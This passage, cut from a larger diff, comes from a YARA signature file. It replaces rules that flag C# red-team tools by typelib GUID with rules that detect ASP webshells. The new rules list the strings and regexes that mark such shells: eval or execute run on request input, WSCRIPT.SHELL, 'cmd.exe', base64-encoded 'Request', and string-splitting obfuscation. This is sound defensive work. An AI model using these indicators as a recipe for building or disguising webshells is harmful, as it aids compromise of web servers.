-		$typelibguid0lo = "9936ae73-fb4e-4c5e-a5fb-f8aaeb3b9bd6" ascii wide
-		$typelibguid0up = "9936AE73-FB4E-4C5E-A5FB-F8AAEB3B9BD6" ascii wide
+		$sus1 = "password" fullword wide ascii
+		$sus2 = "pwd" fullword wide ascii
+		$sus3 = "<asp:TextBox" fullword nocase wide ascii
+		$sus4 = "\"upload\"" wide ascii
+		$sus5 = "\"Upload\"" wide ascii
+		$sus6 = "gif89" wide ascii
+		$sus7 = "\"&\"" wide ascii
+		$sus8 = "authkey" fullword wide ascii
+		$sus9 = "AUTHKEY" fullword wide ascii
+		$sus10 = "test.asp" fullword wide ascii
+		$sus11 = "cmd.asp" fullword wide ascii
+		$sus12 = ".Write(Request." wide ascii
+		$sus13 = "<textarea " wide ascii
+		$sus14 = "\"unsafe" fullword wide ascii
+		$sus15 = "'unsafe" fullword wide ascii
+		$sus16 = "Army" fullword wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
+		$asp_always_write1 = /\.write/ nocase wide ascii
+		$asp_always_write2 = /\.swrite/ nocase wide ascii
+		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+		$asp_cr_write1 = "CreateObject(" nocase wide ascii
+		$asp_cr_write2 = "CreateObject (" nocase wide ascii
+		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*))) and ( filesize <400 or ( filesize <6000 and 1 of ($sus*)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Exploitremotingservice : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_OBFUSC : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "ASP webshell obfuscated"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2f0b9635-2b2e-5825-baeb-69d7ae3791b1"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/tyranid/ExploitRemotingService"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2629-L2647"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "08871e9edc8184ee487080a9d99735598a9f03e605db0a38e83f60a3cc15cbbe"
+		id = "3960b692-9f6f-52c5-b881-6f9e1b3ac555"
+		date = "2021-01-12"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L3082-L3357"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ad597eee256de51ffb36518cd5f0f4aa0f254f27517d28fb7543ae313b15e112"
+		hash = "e0d21fdc16e0010b88d0197ebf619faa4aeca65243f545c18e10859469c1805a"
+		hash = "54a5620d4ea42e41beac08d8b1240b642dd6fd7c"
+		hash = "fc44fd7475ee6c0758ace2b17dd41ed7ea75cc73"
+		hash = "be2fedc38fc0c3d1f925310d5156ccf3d80f1432"
+		hash = "3175ee00fc66921ebec2e7ece8aa3296d4275cb5"
+		hash = "d6b96d844ac395358ee38d4524105d331af42ede"
+		hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
+		logic_hash = "96369062f963c3604c05808755fdfca922e5a6da960cb0ee05dee2df72d5d69b"
 		score = 75
-		quality = 85
+		quality = -317
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "fd17ae38-2fd3-405f-b85b-e9d14e8e8261" ascii wide
-		$typelibguid0up = "FD17AE38-2FD3-405F-B85B-E9D14E8E8261" ascii wide
-		$typelibguid1lo = "1850b9bb-4a23-4d74-96b8-58f274674566" ascii wide
-		$typelibguid1up = "1850B9BB-4A23-4D74-96B8-58F274674566" ascii wide
-		$typelibguid2lo = "297cbca1-efa3-4f2a-8d5f-e1faf02ba587" ascii wide
-		$typelibguid2up = "297CBCA1-EFA3-4F2A-8D5F-E1FAF02BA587" ascii wide
+		$asp_obf1 = "/*-/*-*/" wide ascii
+		$asp_obf2 = "u\"+\"n\"+\"s" wide ascii
+		$asp_obf3 = "\"e\"+\"v" wide ascii
+		$asp_obf4 = "a\"+\"l\"" wide ascii
+		$asp_obf5 = "\"+\"(\"+\"" wide ascii
+		$asp_obf6 = "q\"+\"u\"" wide ascii
+		$asp_obf7 = "\"u\"+\"e" wide ascii
+		$asp_obf8 = "/*//*/" wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_payload0 = "eval_r" fullword nocase wide ascii
+		$asp_payload1 = /\beval\s/ nocase wide ascii
+		$asp_payload2 = /\beval\(/ nocase wide ascii
+		$asp_payload3 = /\beval\"\"/ nocase wide ascii
+		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
+		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
+		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
+		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+		$asp_multi_payload_one2 = "addcode" fullword wide ascii
+		$asp_multi_payload_one3 = /\.run\b/ wide ascii
+		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+		$asp_multi_payload_three2 = "Process" fullword wide ascii
+		$asp_multi_payload_three3 = ".Start" wide ascii
+		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+		$asp_multi_payload_five2 = ".Start" nocase wide ascii
+		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
+		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+		$asp_always_write1 = /\.write/ nocase wide ascii
+		$asp_always_write2 = /\.swrite/ nocase wide ascii
+		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+		$asp_cr_write1 = "CreateObject(" nocase wide ascii
+		$asp_cr_write2 = "CreateObject (" nocase wide ascii
+		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
+		$o4 = "\\x8" wide ascii
+		$o5 = "\\x9" wide ascii
+		$o6 = "\\61" wide ascii
+		$o7 = "\\44" wide ascii
+		$o8 = "\\112" wide ascii
+		$o9 = "\\120" wide ascii
+		$m_multi_one1 = "Replace(" wide ascii
+		$m_multi_one2 = "Len(" wide ascii
+		$m_multi_one3 = "Mid(" wide ascii
+		$m_multi_one4 = "mid(" wide ascii
+		$m_multi_one5 = ".ToString(" wide ascii
+		$m_fp1 = "Author: Andre Teixeira - andret@microsoft.com"
+		$m_fp2 = "DataBinder.Eval(Container.DataItem" ascii wide
+		$oo1 = /\w\"&\"\w/ wide ascii
+		$oo2 = "*/\").Replace(\"/*" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ((( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*)))) and ((( filesize <100KB and ((#o4+#o5+#o6+#o7+#o8+#o9)>20)) or ( filesize <5KB and ((#o4+#o5+#o6+#o7+#o8+#o9)>5 or ((#m_multi_one1+#m_multi_one2+#m_multi_one3+#m_multi_one4+#m_multi_one5)>3))) or ( filesize <700 and ((#o4+#o5+#o6+#o7+#o8+#o9)>3 or (#m_multi_one1+#m_multi_one2+#m_multi_one3+#m_multi_one4+#m_multi_one5)>2))) or any of ($asp_obf*)) or (( filesize <100KB and ((#oo1)>2 or $oo2)) or ( filesize <25KB and ((#oo1)>1)) or ( filesize <1KB and ((#oo1)>0)))) and not any of ($m_fp*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Xploit : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Generic_Eval_On_Input : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic ASP webshell which uses any eval/exec function directly on user input"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "11ba6c14-06b6-5d9f-ac69-08ae506877e7"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/shargon/Xploit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2649-L2683"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b049d1fe26677b8c1a5bfcb46bfa2b35073f2b4bba02551b490a527df81f145b"
+		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L3359-L3463"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d6b96d844ac395358ee38d4524105d331af42ede"
+		hash = "9be2088d5c3bfad9e8dfa2d7d7ba7834030c7407"
+		hash = "a1df4cfb978567c4d1c353e988915c25c19a0e4a"
+		hash = "069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6"
+		logic_hash = "f7b9f43cf2fd6d08b7438f003242e9a19dcea282959c7a1fdff3a35e261a031e"
 		score = 75
-		quality = 83
+		quality = -49
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "4545cfde-9ee5-4f1b-b966-d128af0b9a6e" ascii wide
-		$typelibguid0up = "4545CFDE-9EE5-4F1B-B966-D128AF0B9A6E" ascii wide
-		$typelibguid1lo = "33849d2b-3be8-41e8-a1e2-614c94c4533c" ascii wide
-		$typelibguid1up = "33849D2B-3BE8-41E8-A1E2-614C94C4533C" ascii wide
-		$typelibguid2lo = "c2dc73cc-a959-4965-8499-a9e1720e594b" ascii wide
-		$typelibguid2up = "C2DC73CC-A959-4965-8499-A9E1720E594B" ascii wide
-		$typelibguid3lo = "77059fa1-4b7d-4406-bc1a-cb261086f915" ascii wide
-		$typelibguid3up = "77059FA1-4B7D-4406-BC1A-CB261086F915" ascii wide
-		$typelibguid4lo = "a4a04c4d-5490-4309-9c90-351e5e5fd6d1" ascii wide
-		$typelibguid4up = "A4A04C4D-5490-4309-9C90-351E5E5FD6D1" ascii wide
-		$typelibguid5lo = "ca64f918-3296-4b7d-9ce6-b98389896765" ascii wide
-		$typelibguid5up = "CA64F918-3296-4B7D-9CE6-B98389896765" ascii wide
-		$typelibguid6lo = "10fe32a0-d791-47b2-8530-0b19d91434f7" ascii wide
-		$typelibguid6up = "10FE32A0-D791-47B2-8530-0B19D91434F7" ascii wide
-		$typelibguid7lo = "679bba57-3063-4f17-b491-4f0a730d6b02" ascii wide
-		$typelibguid7up = "679BBA57-3063-4F17-B491-4F0A730D6B02" ascii wide
-		$typelibguid8lo = "0981e164-5930-4ba0-983c-1cf679e5033f" ascii wide
-		$typelibguid8up = "0981E164-5930-4BA0-983C-1CF679E5033F" ascii wide
-		$typelibguid9lo = "2a844ca2-5d6c-45b5-963b-7dca1140e16f" ascii wide
-		$typelibguid9up = "2A844CA2-5D6C-45B5-963B-7DCA1140E16F" ascii wide
-		$typelibguid10lo = "7d75ca11-8745-4382-b3eb-c41416dbc48c" ascii wide
-		$typelibguid10up = "7D75CA11-8745-4382-B3EB-C41416DBC48C" ascii wide
+		$payload_and_input0 = /\beval_r\s{0,20}\(Request\(/ nocase wide ascii
+		$payload_and_input1 = /\beval[\s\(]{1,20}request[.\(\[]/ nocase wide ascii
+		$payload_and_input2 = /\bexecute[\s\(]{1,20}request\(/ nocase wide ascii
+		$payload_and_input4 = /\bExecuteGlobal\s{1,20}request\(/ nocase wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( filesize <1100KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and any of ($payload_and_input*)) or ( filesize <100 and any of ($payload_and_input*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Poc : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Nano : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic ASP webshell which uses any eval/exec function"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5669bc1a-b32e-5ae7-bf94-8ed2a124c765"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/thezdi/PoC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2685-L2699"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "938b553912d069969326bc970d94c23749af3ef28a0b5ce2c49d9de54358f9bd"
+		id = "5f2f24c2-159d-51e1-80d9-11eeb77e8760"
+		date = "2021-01-13"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L3465-L3656"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3b7910a499c603715b083ddb6f881c1a0a3a924d"
+		hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
+		hash = "22345e956bce23304f5e8e356c423cee60b0912c"
+		hash = "c84a6098fbd89bd085526b220d0a3f9ab505bcba"
+		hash = "b977c0ad20dc738b5dacda51ec8da718301a75d7"
+		hash = "c69df00b57fd127c7d4e0e2a40d2f6c3056e0af8bfb1925938060b7e0d8c630f"
+		hash = "f3b39a5da1cdde9acde077208e8e5b27feb973514dab7f262c7c6b2f8f11eaa7"
+		hash = "0e9d92807d990144c637d8b081a6a90a74f15c7337522874cf6317092ea2d7c1"
+		hash = "ebbc485e778f8e559ef9c66f55bb01dc4f5dcce9c31ccdd150e2c702c4b5d9e1"
+		hash = "44b4068bfbbb8961e16bae238ad23d181ac9c8e4fcb4b09a66bbcd934d2d39ee"
+		hash = "c5a4e188780b5513f34824904d56bf6e364979af6782417ccc5e5a8a70b4a95a"
+		hash = "41a3cc668517ec207c990078bccfc877e239b12a7ff2abe55ff68352f76e819c"
+		hash = "2faad5944142395794e5e6b90a34a6204412161f45e130aeb9c00eff764f65fc"
+		hash = "d0c5e641120b8ea70a363529843d9f393074c54af87913b3ab635189fb0c84cb"
+		hash = "28cfcfe28419a399c606bf96505bc68d6fe05624dba18306993f9fe0d398fbe1"
+		logic_hash = "1b969e098a0b2c86ceba9cbb7f31770ba04f1a4c225716ea27d7e4e4177c90c4"
 		score = 75
-		quality = 85
+		quality = -267
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "89f9d411-e273-41bb-8711-209fd251ca88" ascii wide
-		$typelibguid0up = "89F9D411-E273-41BB-8711-209FD251CA88" ascii wide
+		$susasp1 = "/*-/*-*/"
+		$susasp2 = "(\"%1"
+		$susasp3 = /[Cc]hr\([Ss]tr\(/
+		$susasp4 = "cmd.exe"
+		$susasp5 = "cmd /c"
+		$susasp7 = "FromBase64String"
+		$susasp8 = "UmVxdWVzdC"
+		$susasp9 = "cmVxdWVzdA"
+		$susasp10 = "/*//*/"
+		$susasp11 = "(\"/*/\""
+		$susasp12 = "eval(eval("
+		$fp1 = "eval a"
+		$fp2 = "'Eval'"
+		$fp3 = "Eval(\""
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_payload0 = "eval_r" fullword nocase wide ascii
+		$asp_payload1 = /\beval\s/ nocase wide ascii
+		$asp_payload2 = /\beval\(/ nocase wide ascii
+		$asp_payload3 = /\beval\"\"/ nocase wide ascii
+		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
+		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
+		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
+		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
+		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
+		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
+		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
+		$asp_multi_payload_one2 = "addcode" fullword wide ascii
+		$asp_multi_payload_one3 = /\.run\b/ wide ascii
+		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
+		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
+		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
+		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
+		$asp_multi_payload_three2 = "Process" fullword wide ascii
+		$asp_multi_payload_three3 = ".Start" wide ascii
+		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
+		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
+		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
+		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
+		$asp_multi_payload_five2 = ".Start" nocase wide ascii
+		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
+		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
+		$asp_always_write1 = /\.write/ nocase wide ascii
+		$asp_always_write2 = /\.swrite/ nocase wide ascii
+		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
+		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
+		$asp_cr_write1 = "CreateObject(" nocase wide ascii
+		$asp_cr_write2 = "CreateObject (" nocase wide ascii
+		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
+		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and (( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*)))) and not any of ($fp*) and ( filesize <200 or ( filesize <1000 and any of ($susasp*)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpgpoabuse : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Encoded : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Webshell in VBscript or JScript encoded using *.Encode plus a suspicious string"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ea27044f-69be-5db7-8d77-28dafb18c7e5"
-		date = "2020-12-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/FSecureLABS/SharpGPOAbuse"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2701-L2715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e3539bb9bdf7a9986e8fcfc725233363285e1dfe3de254b6979643abfe7944a5"
+		id = "67c0e1f6-6da5-569c-ab61-8b8607429471"
+		date = "2021-03-14"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L3658-L3768"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1bc7327f9d3dbff488e5b0b69a1b39dcb99b3399"
